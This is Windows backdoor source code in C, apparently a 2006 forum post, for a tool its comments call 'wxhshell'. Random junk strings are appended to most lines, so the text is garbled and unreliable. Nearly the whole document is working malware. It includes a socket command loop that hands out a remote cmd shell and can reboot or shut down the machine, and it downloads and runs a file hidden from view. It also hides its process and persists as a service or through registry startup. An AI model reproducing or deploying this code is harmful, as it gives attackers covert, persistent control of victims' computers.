  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L-rV+?i`6f  
  } Hm!"%  
  else { rPyjr(I"_  
iM;Btv[|  
    switch(cmd[0]) { nTD%i~t~o  
  2p#d  
  // 帮助 &z5?]`ALu  
  case '?': { 1%R${Qhr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D.%%D%AdB  
    break; 83 R_8  
  } (VI(Nv:o@  
  // 安装 K@xMPB8in  
  case 'i': { ~TXu20c  
    if(Install()) rtQ{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?Uk%Z]+v  
    else rw3tU0j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $gz8! f?  
    break; F?]J`F\I  
    } vE8'B^h1  
  // 卸载 &a e!lB  
  case 'r': { F.i}&UQ%  
    if(Uninstall()) ~*y7%L4B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pY3/AO=  
    else .d[ ^&<^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dTCLE t.  
    break; rr\9HA  
    } bma.RCyY<  
  // 显示 wxhshell 所在路径 3+d^Bpp4  
  case 'p': { P]y{3y:XxM  
    char svExeFile[MAX_PATH]; n 3&h1-  
    strcpy(svExeFile,"\n\r"); u9~Ncz  
      strcat(svExeFile,ExeFile); =_iYT044p  
        send(wsh,svExeFile,strlen(svExeFile),0); QRKP;aYt  
    break; E<u(Yw6=  
    } }fkdv6mz  
  // 重启 ,N hv#U<$  
  case 'b': { ^c(r4#}$"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pi |Z\j)  
    if(Boot(REBOOT)) ?u:mscb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HWB\}jcA6u  
    else { !jU{ }RCR  
    closesocket(wsh); "(p/3qFY  
    ExitThread(0); 7kA+F +f  
    } ~vA8I#.  
    break; KU{zzn;g  
    } f{O-\  
  // 关机 KehM.c^  
  case 'd': { 0F![<5X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (G} }h  
    if(Boot(SHUTDOWN)) l<4P">M!.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N}NKQ]=  
    else { a?GXVQ  
    closesocket(wsh); &Z!y>k%6  
    ExitThread(0); yih|6sd$F  
    } 2Og5e  
    break; ,xrA2  
    } cT@| $A  
  // 获取shell >eo[)Y  
  case 's': { ||TZ[l  
    CmdShell(wsh); 1pG|jT+Bi  
    closesocket(wsh); dZf1iFCP  
    ExitThread(0); bc~WJ+  
    break; pV (Mh[ }P  
  } /U!B2%vq_  
  // 退出 +aM[!pW(e  
  case 'x': { st)v'ce,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a'Odw2Q_  
    CloseIt(wsh); : OjmaP  
    break; NvTK7? v  
    } 8rlf9m  
  // 离开 TB&IB:4)R  
  case 'q': { lDKyD`WKnZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E $\nb]JQ  
    closesocket(wsh); ;8K> ]T)  
    WSACleanup(); 'q~<ZO  
    exit(1); 40`Qsv0#  
    break; aJjUy%  
        } /=AFle2(  
  } 3)o>sp)Ji$  
  } [.xc`CF  
SB('Nqih  
  // 提示信息 :BV$3]y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u9,dSR  
} ZnAQO3%y  
  } d/Wp>A@dob  
W-|C K&1  
  return; <P0 P*>M  
} eg?p)|  
*HHL a  
// shell模块句柄 [:(O`#  
int CmdShell(SOCKET sock) K re*~ "  
{ eFf9T@  
STARTUPINFO si; SEg{Gso9b  
ZeroMemory(&si,sizeof(si)); we!w5./Xm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T]1.":   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )=#Js<&3:  
PROCESS_INFORMATION ProcessInfo; xZ%3e sp  
char cmdline[]="cmd"; K8-1?-W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R1Q,m  
  return 0; U,T#{  
} e:4,rfF1  
hJ[keaO  
// 自身启动模式 JBOU$A ~  
int StartFromService(void) Lk$Mfm5"M  
{ KQ6][2-  
typedef struct et/l7+/'  
{ <Z_\2 YW A  
  DWORD ExitStatus; ;@gI*i N"  
  DWORD PebBaseAddress; cL.>e=x$  
  DWORD AffinityMask; v^Fu/Y  
  DWORD BasePriority; 62.Cq!~  
  ULONG UniqueProcessId; RL]$"  
  ULONG InheritedFromUniqueProcessId; Xg1TX_3Ml  
}   PROCESS_BASIC_INFORMATION; dxZn| Y  
tP2.D:( R  
PROCNTQSIP NtQueryInformationProcess; *&]8rm{  
IDqUiN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WL'!M&h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dQ_'8 )  
i,Z-UA|f=T  
  HANDLE             hProcess; .=G3wox3  
  PROCESS_BASIC_INFORMATION pbi; >0 o[@gJl  
5%V(eR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qM 1ZCt  
  if(NULL == hInst ) return 0; ^{0*?,-x  
jpR]V86G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,aP5)ZN-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U Rq9:{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4, Vx3QFZ  
=s'H o  
  if (!NtQueryInformationProcess) return 0; {|<r7K1<  
7.2!g}E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zs3xoIW7Ai  
  if(!hProcess) return 0; &"T7KXx  
YKayaI\*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l<S3<'&  
b%@9j;  
  CloseHandle(hProcess); MZA%ET,l,<  
Y:Lkh>S1Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *>W6,F7  
if(hProcess==NULL) return 0; \}=W*xxB  
x N>\t& c  
HMODULE hMod; n4XkhY|  
char procName[255]; m432,8 K3r  
unsigned long cbNeeded; 1g,gilc  
R\5fl[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %a0q|)Nrj  
=Y!.0)t;*  
  CloseHandle(hProcess); v1}ijls  
Td7Q%7p:  
if(strstr(procName,"services")) return 1; // 以服务启动 ~+BU@PHv  
'h~IbP  
  return 0; // 注册表启动 l9+CJAmq  
}  >}]bKq  
.v+J@Y a  
// 主模块 QJR},nZ3  
int StartWxhshell(LPSTR lpCmdLine) O)&ME  
{ uP8 cW([  
  SOCKET wsl; k`[>B k%b  
BOOL val=TRUE; P$AHw;n[R  
  int port=0; }waZGJLN  
  struct sockaddr_in door; ^:f)XZ  
}> C?Zx*  
  if(wscfg.ws_autoins) Install(); t)k;5B`> &  
egfd=z=2un  
port=atoi(lpCmdLine); 4 PU@W o  
,?%Y*?v  
if(port<=0) port=wscfg.ws_port; )ytP$,r![S  
:AuKQ`c  
  WSADATA data; P&Xy6@%[Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DSp~k)  
:c )R6=v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UaQW<6+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z1tCSt}7f  
  door.sin_family = AF_INET; VRY@}>W'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l_+q a6C*  
  door.sin_port = htons(port); xZV|QVY;  
b!"qbC1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r<P?F  
closesocket(wsl); &js$qgY  
return 1; |6Iw\YU  
} G2c\"[N1/  
L-q)48+^k  
  if(listen(wsl,2) == INVALID_SOCKET) { hA&m G33  
closesocket(wsl); %){/O}I]>  
return 1; tLdQO"  
} NP~3!b  
  Wxhshell(wsl); ^$oEM0h  
  WSACleanup(); fG.6S"|M  
+>a(9r|:  
return 0; es+ZPX>Y  
V!+<  
} fbah~[5}  
'?{L gj^R  
// 以NT服务方式启动 -I#<?=0B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m,w^,)  
{ }>YEtA  
DWORD   status = 0; ^QHgc_oDm  
  DWORD   specificError = 0xfffffff; pMUUF5  
y=SpIbn{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y~lOkH[z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pg<c vok  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P{2ED1T\  
  serviceStatus.dwWin32ExitCode     = 0; $3970ni,?O  
  serviceStatus.dwServiceSpecificExitCode = 0; ;\/ RgN  
  serviceStatus.dwCheckPoint       = 0; G(hnrRxn  
  serviceStatus.dwWaitHint       = 0; #xhl@=W;  
;'<SsI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !g~u'r'1  
  if (hServiceStatusHandle==0) return; #Wv8+&n  
uBM%E OE  
status = GetLastError(); 4QNwu7TeR  
  if (status!=NO_ERROR) j zZEP4  
{ >DzW  OB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '^2bC  
    serviceStatus.dwCheckPoint       = 0; "Vwk&~B%  
    serviceStatus.dwWaitHint       = 0; [>QzT"=  
    serviceStatus.dwWin32ExitCode     = status; *;T HD>  
    serviceStatus.dwServiceSpecificExitCode = specificError; i(q a'*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O G7U+d6  
    return; v}^uN+a5  
  } =}SC .E\  
"!Hm.^1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q 9JT6  
  serviceStatus.dwCheckPoint       = 0; np7!y U  
  serviceStatus.dwWaitHint       = 0; /9-kG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \9:IL9~F  
} }.<]A  
s8r[U, }(  
// 处理NT服务事件,比如:启动、停止 }\ya6Gi8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N&Uqzt*  
{ 5VLC\QgK^  
switch(fdwControl) 6:G ::"ew  
{ IU]@%jA_:A  
case SERVICE_CONTROL_STOP: eGbjk~,f'  
  serviceStatus.dwWin32ExitCode = 0; pr1>:0dg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 /DDQ  
  serviceStatus.dwCheckPoint   = 0; k]A$?C0Q<%  
  serviceStatus.dwWaitHint     = 0; {r?Ly15  
  { M_;hfpJZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N#X(gEV  
  } >>h0(G|  
  return; ::Di  
case SERVICE_CONTROL_PAUSE: P"+K'B7K3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QUc&f+~  
  break; nN[QUg  
case SERVICE_CONTROL_CONTINUE: _w9 :([_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  }_?FmuU  
  break; gBXbB9  
case SERVICE_CONTROL_INTERROGATE: z"{Ji{>%=  
  break; r5!Sps3B  
}; w"E.Va  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?)/&tk9.n  
} \ 3l3,VYH  
<\\,L@  
// 标准应用程序主函数 .W0;Vhw"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *U|2u+| F  
{ <%LN3T  
I h 19&D  
// 获取操作系统版本 "nn>I}jK  
OsIsNt=GetOsVer(); hr GfA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tWI4x3 &2  
9,A HC2kn%  
  // 从命令行安装 8lT2qqlr  
  if(strpbrk(lpCmdLine,"iI")) Install(); *W1:AGpz  
e5m-7{h@  
  // 下载执行文件 d@<~u,Mt&F  
if(wscfg.ws_downexe) { CDRz3Hu U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h%%dRi  
  WinExec(wscfg.ws_filenam,SW_HIDE); tt]ZGn*  
} 0BHSeO,  
inv 5>OeG  
if(!OsIsNt) { uJt*> ;Kp  
// 如果时win9x,隐藏进程并且设置为注册表启动 .!h`(>+@  
HideProc(); "@+r|x  
StartWxhshell(lpCmdLine); `bRt_XGPmF  
} os`#:Ao5  
else >l0D,-O]m  
  if(StartFromService()) fBt`D !Z8  
  // 以服务方式启动 $3:O}X>  
  StartServiceCtrlDispatcher(DispatchTable); f\M;m9{(  
else soB5sFt&]  
  // 普通方式启动 9uA2M!~i2  
  StartWxhshell(lpCmdLine); Zd[6-/-:  
)?,X\/5  
return 0; Hd0?}w\  
}
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只看该作者 1 发表于: 2006-10-10
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